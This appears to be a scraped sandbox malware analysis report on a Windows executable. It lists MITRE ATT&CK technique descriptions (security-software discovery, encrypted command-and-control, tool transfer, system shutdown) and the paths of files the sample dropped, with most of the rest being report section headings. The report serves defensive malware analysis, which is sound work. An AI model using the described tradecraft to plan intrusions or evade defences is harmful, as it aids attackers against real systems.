Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ey6iI0wxsf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\tmpE8BD.tmp

C:\Users\user\AppData\Roaming\unruhix-udex.dll

C:\Windows\SysWOW64\eapdotet.dll

C:\Windows\SysWOW64\egfehex.exe

C:\Windows\SysWOW64\onbeateax-oded.exe

C:\Windows\SysWOW64\orfoakup.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Ey6iI0wxsf.exe